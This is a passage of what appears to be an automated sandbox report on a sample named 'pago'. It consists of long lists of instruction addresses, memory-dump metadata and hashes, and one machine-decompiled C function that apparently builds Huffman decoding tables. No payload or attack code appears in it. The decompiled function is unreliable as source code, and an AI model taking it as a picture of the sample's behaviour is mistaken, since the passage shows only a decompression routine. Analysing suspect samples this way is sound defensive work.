                                                                  0x00407391
                                                                  0x00407397
                                                                  0x00407399
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040739b
                                                                  0x0040739b
                                                                  0x0040739d
                                                                  0x0040739f
                                                                  0x004073a6
                                                                  0x004073a6
                                                                  0x004073a8
                                                                  0x004073a1
                                                                  0x004073a1
                                                                  0x004073a3
                                                                  0x004073a3
                                                                  0x004073aa
                                                                  0x004073ac
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407424
                                                                  0x00407424
                                                                  0x00407427
                                                                  0x00407429
                                                                  0x0040742c
                                                                  0x0040742f
                                                                  0x0040742f
                                                                  0x0040742f
                                                                  0x0040742f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406add
                                                                  0x00406ac1
                                                                  0x00000000
                                                                  0x00406ac7
                                                                  0x00406aca
                                                                  0x00406ad4
                                                                  0x00406ad7
                                                                  0x00406ada
                                                                  0x00000000
                                                                  0x00406ada
                                                                  0x00406ac1
                                                                  0x00406ae5
                                                                  0x00406ae8
                                                                  0x00406aec
                                                                  0x00406af6
                                                                  0x00406b00
                                                                  0x00406b03
                                                                  0x00406b09
                                                                  0x00406c3d
                                                                  0x00406c3f
                                                                  0x00406c45
                                                                  0x00406c48
                                                                  0x00406c4b
                                                                  0x00000000
                                                                  0x00406c4b
                                                                  0x00406b0f
                                                                  0x00406b0f
                                                                  0x00406b10
                                                                  0x00406b68
                                                                  0x00406b68
                                                                  0x00406b6f
                                                                  0x00406c15
                                                                  0x00406c15
                                                                  0x00406c1a
                                                                  0x00406c1d
                                                                  0x00406c22
                                                                  0x00406c25
                                                                  0x00406c2a
                                                                  0x00406c2d
                                                                  0x00406c32
                                                                  0x00406c35
                                                                  0x00406c35
                                                                  0x00000000
                                                                  0x00406b75
                                                                  0x00406b75
                                                                  0x00406b75
                                                                  0x00406b75
                                                                  0x00406b79
                                                                  0x00406b79
                                                                  0x00406b9b
                                                                  0x00406b9e
                                                                  0x00406ba0
                                                                  0x00406ba3
                                                                  0x00406ba8
                                                                  0x00406b7e
                                                                  0x00406b7e
                                                                  0x00406b83
                                                                  0x00406b85
                                                                  0x00406b87
                                                                  0x00406b8c
                                                                  0x00406b92
                                                                  0x00406b97
                                                                  0x00406b99
                                                                  0x00406b99
                                                                  0x00406b8e
                                                                  0x00406b8e
                                                                  0x00406b8e
                                                                  0x00406b8c
                                                                  0x00000000
                                                                  0x00406baa
                                                                  0x00406bd7
                                                                  0x00406bdc
                                                                  0x00406bde
                                                                  0x00406bdf
                                                                  0x00406be1
                                                                  0x00406be2
                                                                  0x00406be2
                                                                  0x00406be2
                                                                  0x00406c0a
                                                                  0x00406c0f
                                                                  0x00406c0f
                                                                  0x00000000
                                                                  0x00406c0f
                                                                  0x00406ba8
                                                                  0x00406b6f
                                                                  0x00406b12
                                                                  0x00406b12
                                                                  0x00406b13
                                                                  0x00406b5d
                                                                  0x00000000
                                                                  0x00406b5d
                                                                  0x00406b15
                                                                  0x00406b16
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406c72
                                                                  0x00406c72
                                                                  0x00406c72
                                                                  0x00406c75
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406c52
                                                                  0x00406c52
                                                                  0x00406c56
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406c5c
                                                                  0x00406c5c
                                                                  0x00406c5f
                                                                  0x00406c62
                                                                  0x00406c67
                                                                  0x00406c69
                                                                  0x00406c6c
                                                                  0x00406c6f
                                                                  0x00406c6f
                                                                  0x00406c6f
                                                                  0x00406c77
                                                                  0x00406c77
                                                                  0x00406c7a
                                                                  0x00406c7c
                                                                  0x00406c81
                                                                  0x00406c84
                                                                  0x00406c86
                                                                  0x00406c89
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406c8f
                                                                  0x00406c8f
                                                                  0x00406c91
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406c97
                                                                  0x00406c97
                                                                  0x00406c9b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406ca1
                                                                  0x00406ca1
                                                                  0x00406ca4
                                                                  0x00406ca6
                                                                  0x00406d44
                                                                  0x00406d44
                                                                  0x00406d47
                                                                  0x00406d49
                                                                  0x00406d49
                                                                  0x00406d4c
                                                                  0x00406d4f
                                                                  0x00406d51
                                                                  0x00406d53
                                                                  0x00406d55
                                                                  0x00406d55
                                                                  0x00406d5e
                                                                  0x00406d63
                                                                  0x00406d66
                                                                  0x00406d69
                                                                  0x00406d6c
                                                                  0x00406d6f
                                                                  0x00406d6f
                                                                  0x00406d6f
                                                                  0x00406d72
                                                                  0x00406d78
                                                                  0x00406d78
                                                                  0x00406d7e
                                                                  0x00406d7e
                                                                  0x00406d7e
                                                                  0x00000000
                                                                  0x00406d72
                                                                  0x00406cac
                                                                  0x00406cac
                                                                  0x00406cb2
                                                                  0x00406cb5
                                                                  0x00406cb7
                                                                  0x00406ce2
                                                                  0x00406ce5
                                                                  0x00406ceb
                                                                  0x00406cf0
                                                                  0x00406cf6
                                                                  0x00406cfc
                                                                  0x00406cfe
                                                                  0x00406d01
                                                                  0x00406d0a
                                                                  0x00406d10
                                                                  0x00406d10
                                                                  0x00406d03
                                                                  0x00406d05
                                                                  0x00406d07
                                                                  0x00406d07
                                                                  0x00406d12
                                                                  0x00406d18
                                                                  0x00406d1b
                                                                  0x00406d1d
                                                                  0x00406d1f
                                                                  0x00406d25
                                                                  0x00406d27
                                                                  0x00406d29
                                                                  0x00406d2c
                                                                  0x00406d35
                                                                  0x00406d35
                                                                  0x00406d37
                                                                  0x00406d2e
                                                                  0x00406d2e
                                                                  0x00406d31
                                                                  0x00406d31
                                                                  0x00406d39
                                                                  0x00406d39
                                                                  0x00406d27
                                                                  0x00406d3c
                                                                  0x00406d3e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406d3e
                                                                  0x00406cb9
                                                                  0x00406cb9
                                                                  0x00406cbf
                                                                  0x00406cc5
                                                                  0x00406cc7
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406cc9
                                                                  0x00406cc9
                                                                  0x00406ccb
                                                                  0x00406ccd
                                                                  0x00406cd0
                                                                  0x00406cd7
                                                                  0x00406cd7
                                                                  0x00406cd9
                                                                  0x00406cd2
                                                                  0x00406cd2
                                                                  0x00406cd4
                                                                  0x00406cd4
                                                                  0x00406cdb
                                                                  0x00406cdd
                                                                  0x00406ce0
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406de4
                                                                  0x00406de7
                                                                  0x00406dea
                                                                  0x00406df0
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406fc7
                                                                  0x00406fc7
                                                                  0x00406fc7
                                                                  0x00406fca
                                                                  0x00406fcd
                                                                  0x00406fcf
                                                                  0x00406fd2
                                                                  0x00406fd8
                                                                  0x00406fdf
                                                                  0x00406fe1
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406eb5
                                                                  0x00406eb5
                                                                  0x00406edd
                                                                  0x00406edd
                                                                  0x00406edd
                                                                  0x00406edf
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406ebd
                                                                  0x00406ebd
                                                                  0x00406ec1
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406ec7
                                                                  0x00406ec7
                                                                  0x00406eca
                                                                  0x00406ecd
                                                                  0x00406ed0
                                                                  0x00406ed2
                                                                  0x00406ed4
                                                                  0x00406ed7
                                                                  0x00406eda
                                                                  0x00406eda
                                                                  0x00406eda
                                                                  0x00406ee1
                                                                  0x00406ee1
                                                                  0x00406ee9
                                                                  0x00406eec
                                                                  0x00406ef2
                                                                  0x00406ef5
                                                                  0x00406ef9
                                                                  0x00406efd
                                                                  0x00406f00
                                                                  0x00406f03
                                                                  0x00406f1b
                                                                  0x00406f1b
                                                                  0x00406f1e
                                                                  0x00406f2c
                                                                  0x00406f2f
                                                                  0x00406f20
                                                                  0x00406f20
                                                                  0x00406f22
                                                                  0x00406f29
                                                                  0x00406f29
                                                                  0x00406f58
                                                                  0x00406f58
                                                                  0x00406f58
                                                                  0x00406f5b
                                                                  0x00406f5d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406f38
                                                                  0x00406f38
                                                                  0x00406f3c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406f42
                                                                  0x00406f42
                                                                  0x00406f45
                                                                  0x00406f48
                                                                  0x00406f4b
                                                                  0x00406f4d
                                                                  0x00406f4f
                                                                  0x00406f52
                                                                  0x00406f55
                                                                  0x00406f55
                                                                  0x00406f55
                                                                  0x00406f5f
                                                                  0x00406f5f
                                                                  0x00406f61
                                                                  0x00406f63
                                                                  0x00406f6e
                                                                  0x00406f71
                                                                  0x00406f74
                                                                  0x00406f76
                                                                  0x00406f78
                                                                  0x00406f7a
                                                                  0x00406f7d
                                                                  0x00406f80
                                                                  0x00406f85
                                                                  0x00406f88
                                                                  0x00406f8b
                                                                  0x00406f8e
                                                                  0x00406f95
                                                                  0x00406f98
                                                                  0x00406f9a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406fa0
                                                                  0x00406fa0
                                                                  0x00406fa4
                                                                  0x00406fb5
                                                                  0x00406fb5
                                                                  0x00406fb5
                                                                  0x00406fb7
                                                                  0x00406fb7
                                                                  0x00406fbb
                                                                  0x00406fbb
                                                                  0x00406fbb
                                                                  0x00406fbd
                                                                  0x00406fbe
                                                                  0x00406fc1
                                                                  0x00406fc1
                                                                  0x00406fc1
                                                                  0x00406fc4
                                                                  0x00000000
                                                                  0x00406fc4
                                                                  0x00406fa6
                                                                  0x00406fa6
                                                                  0x00406fa9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406faf
                                                                  0x00406faf
                                                                  0x00000000
                                                                  0x00406faf
                                                                  0x00406f05
                                                                  0x00406f05
                                                                  0x00406f07
                                                                  0x00406f09
                                                                  0x00406f0c
                                                                  0x00406f0f
                                                                  0x00406f13
                                                                  0x00406f13
                                                                  0x00406fe7
                                                                  0x00406fe7
                                                                  0x00406fea
                                                                  0x00406ff1
                                                                  0x00406ff5
                                                                  0x00406ff7
                                                                  0x00406ffa
                                                                  0x00406ffd
                                                                  0x00407002
                                                                  0x00407005
                                                                  0x00407007
                                                                  0x00407008
                                                                  0x0040700b
                                                                  0x00407016
                                                                  0x00407019
                                                                  0x00407030
                                                                  0x00407035
                                                                  0x0040703c
                                                                  0x00407041
                                                                  0x00407045
                                                                  0x00407047
                                                                  0x00407047
                                                                  0x00407047
                                                                  0x0040704a
                                                                  0x0040704c
                                                                  0x00000000
                                                                  0x00407052
                                                                  0x00407052
                                                                  0x00407056
                                                                  0x00407061
                                                                  0x00407074
                                                                  0x00407079
                                                                  0x0040707e
                                                                  0x00407080
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407086
                                                                  0x00407086
                                                                  0x00407089
                                                                  0x0040708b
                                                                  0x00407099
                                                                  0x00407099
                                                                  0x0040709c
                                                                  0x0040709c
                                                                  0x0040709f
                                                                  0x004070a2
                                                                  0x004070a5
                                                                  0x004070a8
                                                                  0x004070ab
                                                                  0x004070ae
                                                                  0x00000000
                                                                  0x004070ae
                                                                  0x0040708d
                                                                  0x0040708d
                                                                  0x00407093
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407093
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407432
                                                                  0x00407432
                                                                  0x00407438
                                                                  0x0040743e
                                                                  0x00407443
                                                                  0x00407449
                                                                  0x0040744f
                                                                  0x00407451
                                                                  0x00407454
                                                                  0x0040745d
                                                                  0x00407463
                                                                  0x00407463
                                                                  0x00407456
                                                                  0x00407458
                                                                  0x0040745a
                                                                  0x0040745a
                                                                  0x00407465
                                                                  0x00407467
                                                                  0x0040746a
                                                                  0x004074a5
                                                                  0x004074a5
                                                                  0x00000000
                                                                  0x0040746c
                                                                  0x0040746c
                                                                  0x0040746c
                                                                  0x00407472
                                                                  0x00407475
                                                                  0x00407477
                                                                  0x004074ac
                                                                  0x004074ae
                                                                  0x00000000
                                                                  0x004074ae
                                                                  0x00000000
                                                                  0x00407477
                                                                  0x00000000
                                                                  0x00406ab6
                                                                  0x00407484
                                                                  0x00000000
                                                                  0x00407484
                                                                  0x00406e98
                                                                  0x00406e9a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406e9c
                                                                  0x00406e9c
                                                                  0x00406e9f
                                                                  0x00000000
                                                                  0x00406e9f
                                                                  0x00406de4
                                                                  0x00406da5
                                                                  0x00407489
                                                                  0x0040748c
                                                                  0x0040748e
                                                                  0x00407497
                                                                  0x0040749d
                                                                  0x00000000

                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
                                                                  • Instruction ID: 3db1d01f4341fbbb805040525b4c18df43ce82c239752998d09602440244d977
                                                                  • Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
                                                                  • Instruction Fuzzy Hash: FEE18A71A0070ADFCB24CF59D880BAABBF5FB44305F15852EE496A72D1D338AA91CF45
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E0040755C(signed char _a4, char _a5, short _a6, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int* _a24, signed int _a28, intOrPtr _a32, signed int* _a36) {
                                                                  				signed int _v8;
                                                                  				unsigned int _v12;
                                                                  				signed int _v16;
                                                                  				intOrPtr _v20;
                                                                  				signed int _v24;
                                                                  				signed int _v28;
                                                                  				intOrPtr* _v32;
                                                                  				signed int* _v36;
                                                                  				signed int _v40;
                                                                  				signed int _v44;
                                                                  				intOrPtr _v48;
                                                                  				intOrPtr _v52;
                                                                  				void _v116;
                                                                  				signed int _v176;
                                                                  				signed int _v180;
                                                                  				signed int _v240;
                                                                  				signed int _t166;
                                                                  				signed int _t168;
                                                                  				intOrPtr _t175;
                                                                  				signed int _t181;
                                                                  				void* _t182;
                                                                  				intOrPtr _t183;
                                                                  				signed int* _t184;
                                                                  				signed int _t186;
                                                                  				signed int _t187;
                                                                  				signed int* _t189;
                                                                  				signed int _t190;
                                                                  				intOrPtr* _t191;
                                                                  				intOrPtr _t192;
                                                                  				signed int _t193;
                                                                  				signed int _t195;
                                                                  				signed int _t200;
                                                                  				signed int _t205;
                                                                  				void* _t207;
                                                                  				short _t208;
                                                                  				signed char _t222;
                                                                  				signed int _t224;
                                                                  				signed int _t225;
                                                                  				signed int* _t232;
                                                                  				signed int _t233;
                                                                  				signed int _t234;
                                                                  				void* _t235;
                                                                  				signed int _t236;
                                                                  				signed int _t244;
                                                                  				signed int _t246;
                                                                  				signed int _t251;
                                                                  				signed int _t254;
                                                                  				signed int _t256;
                                                                  				signed int _t259;
                                                                  				signed int _t262;
                                                                  				void* _t263;
                                                                  				void* _t264;
                                                                  				signed int _t267;
                                                                  				intOrPtr _t269;
                                                                  				intOrPtr _t271;
                                                                  				signed int _t274;
                                                                  				intOrPtr* _t275;
                                                                  				unsigned int _t276;
                                                                  				void* _t277;
                                                                  				signed int _t278;
                                                                  				intOrPtr* _t279;
                                                                  				signed int _t281;
                                                                  				intOrPtr _t282;
                                                                  				intOrPtr _t283;
                                                                  				signed int* _t284;
                                                                  				signed int _t286;
                                                                  				signed int _t287;
                                                                  				signed int _t288;
                                                                  				signed int _t296;
                                                                  				signed int* _t297;
                                                                  				intOrPtr _t298;
                                                                  				void* _t299;
                                                                  
                                                                  				_t278 = _a8;
                                                                  				_t187 = 0x10;
                                                                  				memset( &_v116, 0, _t187 << 2);
                                                                  				_t189 = _a4;
                                                                  				_t233 = _t278;
                                                                  				do {
                                                                  					_t166 =  *_t189;
                                                                  					_t189 =  &(_t189[1]);
                                                                  					 *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) =  *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) + 1;
                                                                  					_t233 = _t233 - 1;
                                                                  				} while (_t233 != 0);
                                                                  				if(_v116 != _t278) {
                                                                  					_t279 = _a28;
                                                                  					_t267 =  *_t279;
                                                                  					_t190 = 1;
                                                                  					_a28 = _t267;
                                                                  					_t234 = 0xf;
                                                                  					while(1) {
                                                                  						_t168 = 0;
                                                                  						if( *((intOrPtr*)(_t299 + _t190 * 4 - 0x70)) != 0) {
                                                                  							break;
                                                                  						}
                                                                  						_t190 = _t190 + 1;
                                                                  						if(_t190 <= _t234) {
                                                                  							continue;
                                                                  						}
                                                                  						break;
                                                                  					}
                                                                  					_v8 = _t190;
                                                                  					if(_t267 < _t190) {
                                                                  						_a28 = _t190;
                                                                  					}
                                                                  					while( *((intOrPtr*)(_t299 + _t234 * 4 - 0x70)) == _t168) {
                                                                  						_t234 = _t234 - 1;
                                                                  						if(_t234 != 0) {
                                                                  							continue;
                                                                  						}
                                                                  						break;
                                                                  					}
                                                                  					_v28 = _t234;
                                                                  					if(_a28 > _t234) {
                                                                  						_a28 = _t234;
                                                                  					}
                                                                  					 *_t279 = _a28;
                                                                  					_t181 = 1 << _t190;
                                                                  					while(_t190 < _t234) {
                                                                  						_t182 = _t181 -  *((intOrPtr*)(_t299 + _t190 * 4 - 0x70));
                                                                  						if(_t182 < 0) {
                                                                  							L64:
                                                                  							return _t168 | 0xffffffff;
                                                                  						}
                                                                  						_t190 = _t190 + 1;
                                                                  						_t181 = _t182 + _t182;
                                                                  					}
                                                                  					_t281 = _t234 << 2;
                                                                  					_t191 = _t299 + _t281 - 0x70;
                                                                  					_t269 =  *_t191;
                                                                  					_t183 = _t181 - _t269;
                                                                  					_v52 = _t183;
                                                                  					if(_t183 < 0) {
                                                                  						goto L64;
                                                                  					}
                                                                  					_v176 = _t168;
                                                                  					 *_t191 = _t269 + _t183;
                                                                  					_t192 = 0;
                                                                  					_t235 = _t234 - 1;
                                                                  					if(_t235 == 0) {
                                                                  						L21:
                                                                  						_t184 = _a4;
                                                                  						_t271 = 0;
                                                                  						do {
                                                                  							_t193 =  *_t184;
                                                                  							_t184 =  &(_t184[1]);
                                                                  							if(_t193 != _t168) {
                                                                  								_t232 = _t299 + _t193 * 4 - 0xb0;
                                                                  								_t236 =  *_t232;
                                                                  								 *((intOrPtr*)(0x432190 + _t236 * 4)) = _t271;
                                                                  								 *_t232 = _t236 + 1;
                                                                  							}
                                                                  							_t271 = _t271 + 1;
                                                                  						} while (_t271 < _a8);
                                                                  						_v16 = _v16 | 0xffffffff;
                                                                  						_v40 = _v40 & 0x00000000;
                                                                  						_a8 =  *((intOrPtr*)(_t299 + _t281 - 0xb0));
                                                                  						_t195 = _v8;
                                                                  						_t186 =  ~_a28;
                                                                  						_v12 = _t168;
                                                                  						_v180 = _t168;
                                                                  						_v36 = 0x432190;
                                                                  						_v240 = _t168;
                                                                  						if(_t195 > _v28) {
                                                                  							L62:
                                                                  							_t168 = 0;
                                                                  							if(_v52 == 0 || _v28 == 1) {
                                                                  								return _t168;
                                                                  							} else {
                                                                  								goto L64;
                                                                  							}
                                                                  						}
                                                                  						_v44 = _t195 - 1;
                                                                  						_v32 = _t299 + _t195 * 4 - 0x70;
                                                                  						do {
                                                                  							_t282 =  *_v32;
                                                                  							if(_t282 == 0) {
                                                                  								goto L61;
                                                                  							}
                                                                  							while(1) {
                                                                  								_t283 = _t282 - 1;
                                                                  								_t200 = _a28 + _t186;
                                                                  								_v48 = _t283;
                                                                  								_v24 = _t200;
                                                                  								if(_v8 <= _t200) {
                                                                  									goto L45;
                                                                  								}
                                                                  								L31:
                                                                  								_v20 = _t283 + 1;
                                                                  								do {
                                                                  									_v16 = _v16 + 1;
                                                                  									_t296 = _v28 - _v24;
                                                                  									if(_t296 > _a28) {
                                                                  										_t296 = _a28;
                                                                  									}
                                                                  									_t222 = _v8 - _v24;
                                                                  									_t254 = 1 << _t222;
                                                                  									if(1 <= _v20) {
                                                                  										L40:
                                                                  										_t256 =  *_a36;
                                                                  										_t168 = 1 << _t222;
                                                                  										_v40 = 1;
                                                                  										_t274 = _t256 + 1;
                                                                  										if(_t274 > 0x5a0) {
                                                                  											goto L64;
                                                                  										}
                                                                  									} else {
                                                                  										_t275 = _v32;
                                                                  										_t263 = _t254 + (_t168 | 0xffffffff) - _v48;
                                                                  										if(_t222 >= _t296) {
                                                                  											goto L40;
                                                                  										}
                                                                  										while(1) {
                                                                  											_t222 = _t222 + 1;
                                                                  											if(_t222 >= _t296) {
                                                                  												goto L40;
                                                                  											}
                                                                  											_t275 = _t275 + 4;
                                                                  											_t264 = _t263 + _t263;
                                                                  											_t175 =  *_t275;
                                                                  											if(_t264 <= _t175) {
                                                                  												goto L40;
                                                                  											}
                                                                  											_t263 = _t264 - _t175;
                                                                  										}
                                                                  										goto L40;
                                                                  									}
                                                                  									_t168 = _a32 + _t256 * 4;
                                                                  									_t297 = _t299 + _v16 * 4 - 0xec;
                                                                  									 *_a36 = _t274;
                                                                  									_t259 = _v16;
                                                                  									 *_t297 = _t168;
                                                                  									if(_t259 == 0) {
                                                                  										 *_a24 = _t168;
                                                                  									} else {
                                                                  										_t276 = _v12;
                                                                  										_t298 =  *((intOrPtr*)(_t297 - 4));
                                                                  										 *(_t299 + _t259 * 4 - 0xb0) = _t276;
                                                                  										_a5 = _a28;
                                                                  										_a4 = _t222;
                                                                  										_t262 = _t276 >> _t186;
                                                                  										_a6 = (_t168 - _t298 >> 2) - _t262;
                                                                  										 *(_t298 + _t262 * 4) = _a4;
                                                                  									}
                                                                  									_t224 = _v24;
                                                                  									_t186 = _t224;
                                                                  									_t225 = _t224 + _a28;
                                                                  									_v24 = _t225;
                                                                  								} while (_v8 > _t225);
                                                                  								L45:
                                                                  								_t284 = _v36;
                                                                  								_a5 = _v8 - _t186;
                                                                  								if(_t284 < 0x432190 + _a8 * 4) {
                                                                  									_t205 =  *_t284;
                                                                  									if(_t205 >= _a12) {
                                                                  										_t207 = _t205 - _a12 + _t205 - _a12;
                                                                  										_v36 =  &(_v36[1]);
                                                                  										_a4 =  *((intOrPtr*)(_t207 + _a20)) + 0x50;
                                                                  										_t208 =  *((intOrPtr*)(_t207 + _a16));
                                                                  									} else {
                                                                  										_a4 = (_t205 & 0xffffff00 | _t205 - 0x00000100 > 0x00000000) - 0x00000001 & 0x00000060;
                                                                  										_t208 =  *_t284;
                                                                  										_v36 =  &(_t284[1]);
                                                                  									}
                                                                  									_a6 = _t208;
                                                                  								} else {
                                                                  									_a4 = 0xc0;
                                                                  								}
                                                                  								_t286 = 1 << _v8 - _t186;
                                                                  								_t244 = _v12 >> _t186;
                                                                  								while(_t244 < _v40) {
                                                                  									 *(_t168 + _t244 * 4) = _a4;
                                                                  									_t244 = _t244 + _t286;
                                                                  								}
                                                                  								_t287 = _v12;
                                                                  								_t246 = 1 << _v44;
                                                                  								while((_t287 & _t246) != 0) {
                                                                  									_t287 = _t287 ^ _t246;
                                                                  									_t246 = _t246 >> 1;
                                                                  								}
                                                                  								_t288 = _t287 ^ _t246;
                                                                  								_v20 = 1;
                                                                  								_v12 = _t288;
                                                                  								_t251 = _v16;
                                                                  								if(((1 << _t186) - 0x00000001 & _t288) ==  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0))) {
                                                                  									L60:
                                                                  									if(_v48 != 0) {
                                                                  										_t282 = _v48;
                                                                  										_t283 = _t282 - 1;
                                                                  										_t200 = _a28 + _t186;
                                                                  										_v48 = _t283;
                                                                  										_v24 = _t200;
                                                                  										if(_v8 <= _t200) {
                                                                  											goto L45;
                                                                  										}
                                                                  										goto L31;
                                                                  									}
                                                                  									break;
                                                                  								} else {
                                                                  									goto L58;
                                                                  								}
                                                                  								do {
                                                                  									L58:
                                                                  									_t186 = _t186 - _a28;
                                                                  									_t251 = _t251 - 1;
                                                                  								} while (((1 << _t186) - 0x00000001 & _v12) !=  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0)));
                                                                  								_v16 = _t251;
                                                                  								goto L60;
                                                                  							}
                                                                  							L61:
                                                                  							_v8 = _v8 + 1;
                                                                  							_v32 = _v32 + 4;
                                                                  							_v44 = _v44 + 1;
                                                                  						} while (_v8 <= _v28);
                                                                  						goto L62;
                                                                  					}
                                                                  					_t277 = 0;
                                                                  					do {
                                                                  						_t192 = _t192 +  *((intOrPtr*)(_t299 + _t277 - 0x6c));
                                                                  						_t277 = _t277 + 4;
                                                                  						_t235 = _t235 - 1;
                                                                  						 *((intOrPtr*)(_t299 + _t277 - 0xac)) = _t192;
                                                                  					} while (_t235 != 0);
                                                                  					goto L21;
                                                                  				}
                                                                  				 *_a24 =  *_a24 & 0x00000000;
                                                                  				 *_a28 =  *_a28 & 0x00000000;
                                                                  				return 0;
                                                                  			}











































































                                                                  0x00407567
                                                                  0x0040756f
                                                                  0x00407573
                                                                  0x00407575
                                                                  0x00407578
                                                                  0x0040757a
                                                                  0x0040757a
                                                                  0x0040757c
                                                                  0x00407583
                                                                  0x00407585
                                                                  0x00407585
                                                                  0x0040758b
                                                                  0x004075a0
                                                                  0x004075a8
                                                                  0x004075aa
                                                                  0x004075ac
                                                                  0x004075af
                                                                  0x004075b0
                                                                  0x004075b0
                                                                  0x004075b6
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004075b8
                                                                  0x004075bb
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004075bb
                                                                  0x004075bf
                                                                  0x004075c2
                                                                  0x004075c4
                                                                  0x004075c4
                                                                  0x004075c7
                                                                  0x004075cd
                                                                  0x004075ce
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004075ce
                                                                  0x004075d3
                                                                  0x004075d6
                                                                  0x004075d8
                                                                  0x004075d8
                                                                  0x004075de
                                                                  0x004075e0
                                                                  0x004075f1
                                                                  0x004075e4
                                                                  0x004075e8
                                                                  0x0040788d
                                                                  0x00000000
                                                                  0x0040788d
                                                                  0x004075ee
                                                                  0x004075ef
                                                                  0x004075ef
                                                                  0x004075f7
                                                                  0x004075fa
                                                                  0x004075fe
                                                                  0x00407600
                                                                  0x00407602
                                                                  0x00407605
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040760d
                                                                  0x00407613
                                                                  0x00407615
                                                                  0x00407617
                                                                  0x00407618
                                                                  0x0040762d
                                                                  0x0040762d
                                                                  0x00407630
                                                                  0x00407632
                                                                  0x00407632
                                                                  0x00407634
                                                                  0x00407639
                                                                  0x0040763b
                                                                  0x00407642
                                                                  0x00407644
                                                                  0x0040764c
                                                                  0x0040764c
                                                                  0x0040764e
                                                                  0x0040764f
                                                                  0x0040765e
                                                                  0x00407662
                                                                  0x00407666
                                                                  0x00407669
                                                                  0x0040766c
                                                                  0x00407671
                                                                  0x00407674
                                                                  0x0040767a
                                                                  0x00407681
                                                                  0x00407687
                                                                  0x00407880
                                                                  0x00407880
                                                                  0x00407885
                                                                  0x00407894
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407885
                                                                  0x00407694
                                                                  0x00407697
                                                                  0x0040769a
                                                                  0x0040769d
                                                                  0x004076a1
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004076ac
                                                                  0x004076af
                                                                  0x004076b0
                                                                  0x004076b2
                                                                  0x004076b8
                                                                  0x004076bb
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004076c1
                                                                  0x004076c2
                                                                  0x004076c5
                                                                  0x004076c8
                                                                  0x004076cb
                                                                  0x004076d1
                                                                  0x004076d3
                                                                  0x004076d3
                                                                  0x004076db
                                                                  0x004076df
                                                                  0x004076e4
                                                                  0x00407709
                                                                  0x0040770f
                                                                  0x00407711
                                                                  0x00407713
                                                                  0x00407716
                                                                  0x0040771f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004076e6
                                                                  0x004076e6
                                                                  0x004076ef
                                                                  0x004076f3
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00407704
                                                                  0x00407704
                                                                  0x00407707
                                                                  0x00000000
